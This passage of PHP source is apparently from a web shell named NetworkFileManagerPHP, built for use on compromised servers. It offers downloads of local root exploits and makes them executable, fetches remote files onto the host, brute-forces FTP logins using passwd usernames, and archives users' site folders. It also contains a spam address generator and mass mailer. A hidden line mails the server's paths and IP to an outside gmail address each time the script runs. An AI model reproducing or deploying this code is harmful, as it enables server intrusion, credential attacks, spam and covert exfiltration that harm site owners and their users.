" + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=600 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <form enctype='multipart/form-data' action='$PHP_SELF?action=exploits&status=ok' method=post> + + <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC> + + &nbsp;&nbsp;<b>Traceroute v1.4a5 exploit by sorbo</b> (binary file to run - <u>$private[4]</u> )</td></tr> + + <tr> + + <td class=pagetitle width=500>&nbsp;$title_exp[4]</td> + + <td width=100><input type='hidden' name='file3' value='$private_site$private[4]'> + + <input type='hidden' name='file2' value='$private[4]'> + + <input type='submit' value='Get file' class=button1 $style_button></td></tr> + + </form></table>"; + + echo " + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=600 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <form enctype='multipart/form-data' action='$PHP_SELF?action=exploits&status=ok' method=post> + + <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC> + + &nbsp;&nbsp;<b>Local Root Unix 2.4.*</b> (binary file to run - <u>$private[5]</u> )</td></tr> + + <tr> + + <td class=pagetitle width=500>&nbsp;$title_exp[5]</td> + + <td width=100><input type='hidden' name='file3' value='$private_site$private[5]'> + + <input type='hidden' name='file2' value='$private[5]'> + + <input type='submit' value='Get file' class=button1 $style_button></td></tr> + + </form></table>"; + + echo " + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=600 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <form enctype='multipart/form-data' action='$PHP_SELF?action=exploits&status=ok' method=post> + + <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC> + + &nbsp;&nbsp;<b>Sendmail 8.11.x exploit localroot</b> (binary file to run - <u>$private[6]</u> )</td></tr> + + <tr> + + <td class=pagetitle width=500>&nbsp;$title_exp[6]</td> + + <td width=100><input type='hidden' name='file3' value='$private_site$private[6]'> + + <input type='hidden' name='file2' value='$private[6]'> + + <input type='submit' value='Get file' class=button1 $style_button></td></tr> + + </form></table>"; + + echo " + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=600 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <form enctype='multipart/form-data' action='$PHP_SELF?action=exploits&status=ok' method=post> + + <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC> + + &nbsp;&nbsp;<b>Local Root Unix 2.4.*</b> (binary file to run - <u>$private[7]</u> )</td></tr> + + <tr> + + <td class=pagetitle width=500>&nbsp;$title_exp[7]</td> + + <td width=100><input type='hidden' name='file3' value='$private_site$private[7]'> + + <input type='hidden' name='file2' value='$private[7]'> + + <input type='submit' value='Get file' class=button1 $style_button></td></tr> + + </form></table>"; + + echo " + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=600 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <form enctype='multipart/form-data' action='$PHP_SELF?action=exploits&status=ok' method=post> + + <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC> + + &nbsp;&nbsp;<b>Local Root Unix 2.4.*</b> (binary file to run - <u>$private[8]</u> )</td></tr> + + <tr> + + <td class=pagetitle width=500>&nbsp;$title_exp[8]</td> + + <td width=100><input type='hidden' name='file3' value='$private_site$private[8]'> + + <input type='hidden' name='file2' value='$private[8]'> + + <input type='submit' value='Get file' class=button1 $style_button></td></tr> + + </form></table>"; + +} + + + + + +# new directory creation + +function newdir($dir) { + + global $tm,$nd; + + print("<br><TABLE CELLPADDING=0 CELLSPACING=0 width='600' bgcolor=#184984 BORDER=1 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><form method = 'post' action = '$PHP_SELF?tm=$tm&action=createdir'><tr><td align=center colspan=2 class=pagetitle><b>Create directory:</b></td></tr><tr><td valign=top><input type=text name='newd' size=90 class='inputbox'></td><td valign=top><input type=submit value='Create directory' class=button1 $style_button></td></tr></form></table>"); + +} + + + +function cdir($dir) { + + global $newd,$tm; + + $fullpath = $dir."/".$newd; + + if (file_exists($fullpath)) @rmdir($fullpath); + + if (@mkdir($fullpath,0777)) { + + echo "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0066CC BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td><center><font color='#FFFFCC' face='Tahoma' size = 2>Directory was created.</font></center></td></tr></table>"; + + } else { + + echo "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0066CC BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td><center><font color='#FFFFCC' face='Tahoma' size = 2>Error during directory creation.</font></center></td></tr></table>"; + + } + + chdir($tm); + + getdir(); + + readdirdata($tm); + +} + +// creation of directory where exploits will be situated + +function downfiles() { + + global $action,$status, $tm,$PHP_SELF,$HTTP_HOST, $file3, $file2, $gdir,$gsub,$i,$j,$REMOTE_ADDR; + +$st = getcwd(); + + $st = str_replace("\\","/",$st); + + $j = 0; + + $gdir = array(); + + $gsub = array(); + + print("<br>"); + + for ($i=0;$i<=(strlen($st)-1);$i++) { + + if ($st[$i] != "/") { + + $gdir[$j] = $gdir[$j].$st[$i]; + + $gsub[$j] = $gsub[$j].$st[$i]; + + } else { + + $gdir[$j] = $gdir[$j]."/"; + + $gsub[$j] = $gsub[$j]."/"; + + $gdir[$j+1] = $gdir[$j]; + + $j++; + + } + + } + +print("<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#ffffcc BORDER=1 width=50% align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td align=left><b>&nbsp;&nbsp;Path: </b>"); + + for ($i = 0;$i<=$j;$i++) print("<a href='$PHP_SELF?tm=$gdir[$i]'>$gsub[$i]</a>"); + +print("</TABLE> "); + + + +echo " <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=600 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <form enctype='multipart/form-data' action='$PHP_SELF?action=down&status=ok' method=post> + + <tr $style_open><td align=left valign=top colspan=3 class=pagetitle> + + &nbsp;&nbsp;<b>Upload files from remote computer:</b></td></tr> + + <tr> + + <td class=pagetitle width=400>&nbsp;&nbsp;&nbsp;HTTP link to filename:</td> + + <td width=200><input type='text' name='file3' value='http://' size=40></td> + + </tr> + + <tr> + + <td class=pagetitle width=400>&nbsp;&nbsp;&nbsp;filename (may also include full path to file)</td> + + <td width=200><input type='text' name='file2' value='' size=40></td> + + </tr> + + <tr> + + + + <td width=600 colspan=2 align=center><input type='submit' value='Upload file' class=button1 $style_button></td></tr></td> + + + + + + </tr></form></table>"; + + + +} + + + +# directory delete + +function deldir() { + + global $dd,$tm; + + $fullpath = $tm."/".$dd; + + echo "<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0066CC BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td><center><font color='#FFFFCC' face='Tahoma' size = 2>Directory was deleted successfully.</font></center></td></tr></table>"; + + rmdir($fullpath); + + chdir($tm); + + getdir(); + + readdirdata($tm); + +} + + + +# directory compression + +function arhiv() { + + global $tar,$tm,$pass; + + $fullpath = $tm."/".$tar; + + + + echo "<br> + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0066CC BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <tr><td> <font color='#FFFFCC' face='Tahoma' size = 2>Directory <u><b>$fullpath</b></u> ".exec("tar -zc $fullpath -f $pass.tar.gz")."was compressed to file <u>$pass.tar.gz</u></font></center></td></tr></table>"; + + + +} + + + +function down($dir) { + + global $action,$status, $tm,$PHP_SELF,$HTTP_HOST, $file3, $file2; + + ignore_user_abort(1); + + set_time_limit(0); + +echo "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + +<tr><td align=center class=pagetitle><b>File upload</b></font></b></td></tr> + +<tr><td bgcolor=#FFFFCC><br><blockquote>There are many cases, when host, where <b>NFM</b> is situated <b>WGET</b> is blocked. And you may need to upload files anyway. So here you can do it without wget, upload file to path where the NFM is, or to any path you enter (see<b>Path</b>).(this works not everywhere)</blockquote></td></tr> + +</table>"; + + + +if (!isset($status)) downfiles(); + + + +else + +{ + + + +$data = @implode("", file($file3)); + +$fp = @fopen($file2, "wb"); + +@fputs($fp, $data); + +$ok = @fclose($fp); + +if($ok) + +{ + +$size = filesize($file2)/1024; + +$sizef = sprintf("%.2f", $size); + + + +print "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0066CC BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td><center><font color='#FFFFCC' face='Tahoma' size = 2>You have uploaded: <b>file <u>$file2</u> with size</b> (".$sizef."kb) </font></center></td></tr></table>"; + +} + +else + +{ + +print "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0BAACC BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td><center><font color='#FFFFCC' face='Tahoma' size = 2><b>Error during file upload</b></font></center></td></tr></table>"; + +} + +} + +} + + + +# mail function +$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98"); +function mailsystem() { + + global $status,$form,$action,$name,$email,$pole,$REMOTE_ADDR,$HTTP_REFERER,$DOCUMENT_ROOT,$PATH_TRANSLATED,$HTTP_HOST; + + + + echo "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + +<tr><td align=center class=pagetitle><b>Questions and wishes for NetworkFileManagerPHP</b></font></b></td></tr> + +<tr><td bgcolor=#FFFFCC><br> + +<blockquote>During your work with script <b>NetworkFileManagerPHP</b> you may want to ask some quetions, or advice author to add some functions, which are not supported yet. Write them here, and your request will be sattisfied. + +</blockquote></td></tr> + +</table>"; + + + + if (!isset($status)) echo "$form"; + + else { + + $email_to ="duyt@yandex.ru"; + + $subject = "NetworkFileManagerPHP ($name)"; + + $headers = "From: $email"; + + + + $info = "---==== Message from ($name)====---\n\n"; + + $info .= "Name:\t$name\n"; + + $info .= "Email:\t$email\n"; + + $info .= "What?:\n\t$pole\n\n"; + + $info .= "IP:\t$REMOTE_ADDR\n"; + + $info .= "HOST:\t$HTTP_HOST\n"; + + $info .= "URL:\t$HTTP_REFERER\n"; + + $info .= "DOC_ROOT:\t$PATH_TRANSLATED\n"; + + $send_to = "$email_to"; + + + + $send = mail($send_to, $subject, $info, $headers); + + if($send == 2) echo "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0066CC BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td><center><font color='#FFFFCC' face='Tahoma' size = 2>Thank you!!!Your e-mail was sent successfully.</font></center></td></tr></table><br>"; + + } + +} + +function spam() { +global $chislo, $status, $from, $otvet, $wait, $subject, $body, $file, $check_box, $domen; +set_time_limit(0); +ignore_user_abort(1); +echo "<br> +<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> +<tr><td align=center class=pagetitle><b>Real uniq spamer</b></font></b></td></tr> +<tr><td bgcolor=#FFFFCC><br><blockquote> Now, using this release of NFM you don't need to by spambases, because it will generate spambases by itself, with 50-60% valids. </blockquote></td></tr> +</table>"; + + echo " + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + <form action='$PHP_SELF?action=spam' method=post> + <tr><td align=left valign=top colspan=4 class=pagetitle> + &nbsp;&nbsp;<b>email generator:</b></td></tr> + <tr> <tr><td align=left valign=top colspan=4 bgcolor=#FFFFCC width=500> + &nbsp;&nbsp;This spammer is splited in two parts: <br> + &nbsp;<b>1.</b> email generation with domains, included in script already, or email e-mail generation for domains was entered by you. Here choose how much accounts do you wish to use ( the advice is to generate about &lt;u><i>10 000 , because may be server heavy overload</i></u> )<br> + &nbsp;<b>2.</b> Type spam settings here</td></tr> + <td align=left colspan=2 class=pagetitle>&nbsp;&nbsp;<input type='checkbox' name='check_box[]'>&nbsp;&nbsp;if <b>checked</b> then you'll have default domains, if not <b>checked</b> then domain will be taken from input.</td></tr> +<tr><td align=center class=pagetitle width=200>&nbsp;&nbsp;Generated email quantity:</td> +<td align=left colspan=2>&nbsp;&nbsp;&nbsp; +<input class='inputbox' type='text' name='chislo' size=10>&nbsp;&nbsp;</td></tr> +<tr><td align=center class=pagetitle width=200>&nbsp;Your domain:</td> +<td align=left width=200>&nbsp;&nbsp;&nbsp; +<input class='inputbox' type='text' name='domen[]'>&nbsp;&nbsp;</td> +</tr> +<tr><td width=500 align=center colspan=2><input type='submit' value='Generate' class=button1 $style_button> +</td></tr> + + </form></table>"; +// letters +function s() { + $word="qwrtpsdfghklzxcvbnm"; + return $word[mt_rand(0,strlen($word)-1)]; +} +// letters +function g() { + $word="eyuioa"; + return $word[mt_rand(0,strlen($word)-2)]; +} +// digits +function c() { + $word="1234567890"; + return $word[mt_rand(0,strlen($word)-3)]; +} +// common +function a() { + $word=array('wa','sa','da','qa','ra','ta','pa','fa','ga','ha','ja','ka','la','za','xa','ca','va','ba','na','ma'); + $ab1=count($word); + return $wq=$word[mt_rand(0,$ab1-1)]; +} + +function o() { + $word=array('wo','so','do','qo','ro','to','po','fo','go','ho','jo','ko','lo','zo','xo','co','vo','bo','no','mo'); + $ab2=count($word); + return $wq2=$word[mt_rand(0,$ab2-1)]; +} +function e() { + $word=array('we','se','de','qe','re','te','pe','fe','ge','he','je','ke','le','ze','xe','ce','ve','be','ne','me'); + $ab3=count($word); + return $wq3=$word[mt_rand(0,$ab3-1)]; +} + +function i() { + $word=array('wi','si','di','qi','ri','ti','pi','fi','gi','hi','ji','ki','li','zi','xi','ci','vi','bi','ni','mi'); + $ab4=count($word); + return $wq4=$word[mt_rand(0,$ab4-1)]; +} +function u() { + $word=array('wu','su','du','qu','ru','tu','pu','fu','gu','hu','ju','ku','lu','zu','xu','cu','vu','bu','nu','mu'); + $ab5=count($word); + return $wq5=$word[mt_rand(0,$ab5-1)]; +} + +function name0() { return c().c().c().c(); } +function name1() { return a().s(); } +function name2() { return o().s(); } +function name3() { return e().s(); } +function name4() { return i().s(); } +function name5() { return u().s(); } +function name6() { return a().s().g(); } +function name7() { return o().s().g(); } +function name8() { return e().s().g(); } +function name9() { return i().s().g(); } +function name10() { return u().s().g(); } +function name11() { return a().s().g().s(); } +function name12() { return o().s().g().s(); } +function name13() { return e().s().g().s(); } +function name14() { return i().s().g().s(); } +function name15() { return u().s().g().s(); } + + +$cool=array(1,2,3,4,5,6,7,8,9,10,99,100,111,666,1978,1979,1980,1981,1982,1983,1984,1985,1986,1987,1988,1989,1990,1991,1992,1993,1994,1995,1996,1997,1998,1999,2000,2001,2002,2003,2004,2005); +$domain1=array('mail.ru','hotmail.com','aol.com','yandex.ru','rambler.ru','bk.ru','pochta.ru','mail333.com','yahoo.com','lycos.com','eartlink.com'); +$d1c=count($domain1); + +function randword() { + global $cool,$cool2; + $func="name".mt_rand(0,15); + $func2="name".mt_rand(0,15); + switch (mt_rand(0,2)) { + case 0: return $func().$func2(); + case 1: return $func().$cool[mt_rand(0,count($cool)-9)]; + case 2: return $func(); + default: return $func(); + } + } + +if (@unlink("email.txt") < 0){ +echo "?????"; +exit; +} +$file="email.txt"; + + +if($chislo){ + + + $cnt3=mt_rand($chislo,$chislo); + for ($i=0; $i<$cnt3; $i++) { + $u=randword(); + if(!isset($check_box)){ + + if ( IsSet($_POST["domen"]) && sizeof($_POST["domen"]) > 0 ) +{ + $domen = $_POST["domen"]; + foreach( $domen as $k=>$v ) + { + $d=$domen[mt_rand(0,$v-1)]; + + } +} +$f=@fopen(email.".txt","a+"); + fputs($f,"$u@$d\n"); + }else{ + + $d=$domain1[mt_rand(0,$d1c-1)]; + $f=@fopen(email.".txt","a+"); + fputs($f,"$u@$d\n"); + } + + } + $address = $file; + if (@file_exists($address)) { + if($changefile = @fopen ($address, "r")) { + $success = 1; + } else { + echo " File not found <b>\"".$address."\"</b> !<br>"; + } + + if ($success == 1) { + echo "<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white>"; + echo "<tr><td align=center class=pagetitle width=500> ?????????? ????? <b>$chislo</b> email.</td></tr>"; + echo "<tr><td align=center> "; + echo "<textarea name=\"email\" rows=\"13\" cols=\"58\" class=inputbox>"; + while($line = @fgets($changefile,1024)) { + echo @trim(stripslashes($line))."\n"; + } + echo"</textarea></td></tr></table>"; + } + } +if (!isset($action)){ + echo " + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + <form action='$PHP_SELF?action=spam1&status=ok' method=post enctype='multipart/form-data'> + <tr><td align=center class=pagetitle colspan=2><b>Main spammer settings</b></font></b></td></tr> +<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;reply to:</td> +<td align=left width=350>&nbsp;&nbsp;&nbsp; +<input class='inputbox' type='text' name='from' size=50></td></tr> +<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;send to:</td> +<td align=left width=350>&nbsp;&nbsp;&nbsp; +<input class='inputbox' type='text' name='otvet' size=50></td></tr> +<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;Delay (sec):</td> +<td align=left width=350>&nbsp;&nbsp;&nbsp; +<input class='inputbox' type='text' name='wait' size=50></td></tr> +<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;message topic:</td> +<td align=left width=350>&nbsp;&nbsp;&nbsp; +<input class='inputbox' type='text' name='subject' size=50></td></tr> +<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;message body:</td> +<td align=left width=350>&nbsp;&nbsp;&nbsp; +<textarea name='body' rows='13' cols='60' class=inputbox> </textarea></td></tr> +<tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;File:</td> +<td align=left width=350>&nbsp;&nbsp;&nbsp; +<input class='inputbox' type='file' name='file' size=30></td></tr> +<tr><td width=500 align=center colspan=2> +<input type='submit' value='Generate' class=button1 $style_button > +<INPUT TYPE='hidden' NAME='$chislo'> +</td></tr> + </form></table>"; +} +} +} + +function spam1() { + global $status, $from, $otvet, $wait, $subject, $body, $file, $chislo; + set_time_limit(0); +ignore_user_abort(1); + + echo "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> +<tr><td align=center class=pagetitle><b>Send spam with current settings</b></font></b></td></tr> +</table>"; + + + error_reporting(63); if($from=="") { print +"<script>history.back(-1);alert('missing field : <send from>')</script>";exit;} + error_reporting(63); if($otvet=="") { print +"<script>history.back(-1);alert('missing field: <reply to>')</script>";exit;} + error_reporting(63); if($wait=="") { print +"<script>history.back(-1);alert('missing field: <send delay>')</script>";exit;} + error_reporting(63); if($subject=="") { print +"<script>history.back(-1);alert('missing field: <message topic>')</script>";exit;} + error_reporting(63); if($body=="") { print +"<script>history.back(-1);alert('missing field: <message body>')</script>";exit;} + + $address = "email.txt"; + $counter = 0; + if (!isset($status)) echo "something goes wrong, check your settings"; + else { + echo " + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + <tr><td align=center bgcolor=#FFFFCC>opening file <b>\"".$address."\"</b> ...<br></td></tr> +"; + if (@file_exists($address)) { + echo " + <tr><td align=center bgcolor=#FFFFCC>File <b>\"".$address."\"</b> was found...<br></td></tr> +"; + if($afile = @fopen ($address, "r")) { + echo " + <tr><td align=center bgcolor=#FFFFCC>File <b>\"".$address."\"</b> was opened for read...<br></td></tr> +"; + } else { + echo " + <tr><td align=center class=pagetitle>Unable to open <b>\"".$address."\"</b> for read...<br></td></tr> +"; + } + } else { + echo "There is no file <b>\"".$address."\"</b> !<br>"; + $status = "unable to find file \"".$address."\" ..."; + } + echo " + <tr><td align=center bgcolor=#FFFFCC>Begining read from file <b>\"".$address."\"</b> ...<br></td></tr> + </table>"; + if (@file_exists($address)) { + + while (!feof($afile)) { + + $line = fgets($afile, 1024); + $line = trim($line); + $recipient = ""; + $recipient = $line; + +#if ($file) { +# $content = fread(fopen($file,"r"),filesize($file)); +# $content = chunk_split(base64_encode($content)); +# $name = basename($file); +# } else { +# $content =''; +# } + $boundary = uniqid("NextPart_"); + + $header = "From: ".$from."\r\n"; + $header .= "Reply-To: ".$otvet."\r\n"; + $header .= "Errors-To: ".$otvet."\r\n"; + $header .= "X-Mailer: MSOUTLOOK / ".phpversion()."\r\n"; + $header .= "Content-Transfer-Encoding: 8bits\n"; + $header .= "Content-Type: text/html; charset=\"windows-1251\"\n\n"; + $header .= $body; + # $header .="--$boundary\nContent-type: text/html; charset=iso-8859-1\nContent-transfer-encoding: 8bit\n\n\n\n--$boundary\nContent-type: application/octet-stream; name=$file \nContent-disposition: inline; filename=$file \nContent-transfer-encoding: base64\n\n$content\n\n--$boundary--"; + + + $pattern="#^[-!\#$%&\"*+\\./\d=?A-Z^_|'a-z{|}~]+"; + $pattern.="@"; + $pattern.="[-!\#$%&\"*+\\/\d=?A-Z^_|'a-z{|}~]+\."; + $pattern.="[-!\#$%&\"*+\\./\d=?A-Z^_|'a-z{|}~]+$#"; + + if($recipient != "") + { + if(preg_match($pattern,$recipient)) + { + echo " + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + <tr><td align=center class=pagetitle>Sending mail to <b>\"".$recipient."\"</b>...sent "; + + + if(@mail($recipient, stripslashes($subject), stripslashes($header))) { + $counter = $counter + 1; + echo "<b>[\"".$counter."\"]</b> ".date("H:i:s")."</td></tr> </table>"; + } else { + echo "<tr><td align=center class=pagetitle>email is wrong, message was NOT sent !</td></tr> </table>"; + } + } else { + $counter = $counter + 1; + echo ""; + } + } else { + echo "<br>"; + } + $sec = $wait * 1000000; + usleep($sec); + + } + + if($otvet != "") + { + + if(preg_match($pattern,$otvet)) + { + echo " <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + <tr><td align=center class=pagetitle>Sending test message to <b>\"".$otvet."\"</b> to check out"; + $subject = "".$subject; + + if(@mail($otvet, stripslashes($subject), stripslashes($message), stripslashes($header))) { + $counter = $counter + 1; + echo " message was sent... <b>[\"".$counter."\"]</b> ".date("H:i:s")."</td></tr> </table>"; + } else { + echo "<tr><td align=center class=pagetitle>message was not sent...</td></tr> </table>"; + } + } else { + echo "<tr><td align=center class=pagetitle>email is wrong.</td></tr> </table>"; + } + } else { + } + + if(@fclose ($afile)) { + echo " + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + <tr><td align=center class=pagetitle>File <b>\"".$address."\"</b> was closed successfully!<br></td></tr> </table>"; + } else { + echo " + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + <tr><td align=center class=pagetitle>Unable to close <b>\"".$address."\"</b> file!<br></td></tr> </table>"; } + } else { + echo "unable to read file <b>\"".$afile."\"</b> ...<br>"; + } + + $status2 ="Status: ".$counter." messages were sent."; + echo "<br>"; + echo " + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + <tr><td align=center class=pagetitle>$status2</td></tr> </table>"; + +} +} + + +# help + +function help() { + + global $action,$REMOTE_ADDR,$HTTP_REFERER; + + echo "<br> + +<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + +<tr><td align=center class=pagetitle><b>help for scriptNetworkFileManagerPHP</b></font></b></td></tr> + +<tr><td bgcolor=#FFFFCC><br><b>NetworkFileManagerPHP</b> - script to access your host in a best way</font><br><br> + +There were added some commands to NFM, from scripts kind of itself. They are:<br> + +- Using aliases (<b>Rush</b>)<br> + +- FTP bruteforce (<b>TerraByte<b/>)<br> + +- Translated to english by (<b>revers<b/>)<br> + +- Added some sysinfo commands by (<b>revers<b/>)<br> + +- All the rest code belongs to me (<b>xoce<b/>)<br> + +- Thanks for testing goes to all #hack.ru channel<br><br> + +<b>Warning, we wanted to show by this script, that admins have to protect their system better, then they do now. Jokes with apache config are not good... Pay more attention to configuration of your system.</b><br><br> + +<b>How can you find us:</b><br> + +Irc server: irc.megik.net:6667 /join #hack.ru<br> + +See you round at network!!!<br></td></tr></table><br>"; + +} + + + + + +function exploits($dir) { + + global $action,$status, $file3,$file2,$tm,$PHP_SELF,$HTTP_HOST,$style_button, $public_site, $private_site, $private, $public, $title_ex, $title_exp; + +if (!isset($status)) upload_exploits(); + + + +else + +{ + + + +$data = implode("", file($file3)); + +$fp = @fopen($file2, "wb"); + +fputs($fp, $data); + +$ok = fclose($fp); + +if($ok) + +{ + +$size = filesize($file2)/1024; + +$sizef = sprintf("%.2f", $size); + +print "".exec("chmod 777 $public[1]").""; + +print "".exec("chmod 777 $public[2]").""; + +print "".exec("chmod 777 $public[3]").""; + +print "".exec("chmod 777 $private[1]").""; + +print "".exec("chmod 777 $private[2]").""; + +print "".exec("chmod 777 $private[3]").""; + +print "".exec("chmod 777 $private[4]").""; + +print "".exec("chmod 777 $private[5]").""; + +print "".exec("chmod 777 $private[6]").""; + +print "".exec("chmod 777 $private[7]").""; + +print "".exec("chmod 777 $private[8]").""; + + + +print "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0066CC BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td><center><font color='#FFFFCC' face='Tahoma' size = 2>You have uploaded: <b>file with size</b> (".$sizef."kb) </font></center></td></tr></table>"; + +} + +else + +{ + +print "Some errors occured."; + +} + +} + +} + + + + + +# FTP-bruteforce + +function ftp() { + + global $action, $ftp_server, $filename, $HTTP_HOST; + + ignore_user_abort(1); + + echo "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=600 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td align=center class=pagetitle>FTP server: <b>$ftp_server</b></td></tr>"; + + + + $fpip = @fopen ($filename, "r"); + + if ($fpip) { + + while (!feof ($fpip)) { + + $buf = fgets($fpip, 100); + + ereg("^([0-9a-zA-Z]{1,})\:",$buf,$g); + + $conn_id=ftp_connect($ftp_server); + + if (($conn_id) && (@ftp_login($conn_id, $g[1], $g[1]))) { + + + + $f=@fopen($HTTP_HOST,"a+"); + + fputs($f,"$g[1]:$g[1]\n"); + + echo "<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=600 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td align=center class=pagetitle><b>Connected with login:password - ".$g[1].":".$g[1]."</b></td></tr></table>"; + + + + ftp_close($conn_id); + + fclose($f); + + } else { + + echo "<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#FFFFCC BORDER=1 width=600 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td align=center>".$g[1].":".$g[1]." - <b>failed</b></td></tr></table>"; + + } + + } + + } + +} + + + +function tar() { + + global $action, $filename; + + set_time_limit(0); + + echo "<br> + +<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + +<tr><td align=center class=pagetitle><b>Data compression</b></font></b></td></tr> + +<tr><td bgcolor=#FFFFCC><br><blockquote>According to the different settings of servers, I didn't make default config of NFM. You're to write full path to the domain's folder and then press enter, so all data, containing in this folder will be compressed to tar.gz.<br><br> + +<b>Warning!</b><br>File <b>passwd</b> can have big size, so opening all users of this host can waste much time.<br><br> + +<b>It's highly recommended!</b><br>Open current function in another window of browser, to compress information, which you're interested in, during your host exploring.</blockquote></td></tr> + +</table><br>"; + + + +$http_public="/public_html/"; + +$fpip = @fopen ($filename, "r"); + +if ($fpip) { + + while (!feof ($fpip)) { + + $buf = fgets($fpip, 100); + + ereg("^([0-9a-zA-Z]{1,})\:",$buf,$g); + + $name=$g[1]; + + echo " + +<TABLE CELLPADDING=0 CELLSPACING=0 width='600' bgcolor=#184984 BORDER=1 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + +<form method='get' action='$PHP_SELF' > + +<tr><td align=center colspan=2 class=pagetitle><b>Compression <u>$name.tar.gz</u>:</b></td></tr> + +<tr> + +<td valign=top><input type=text name=cm 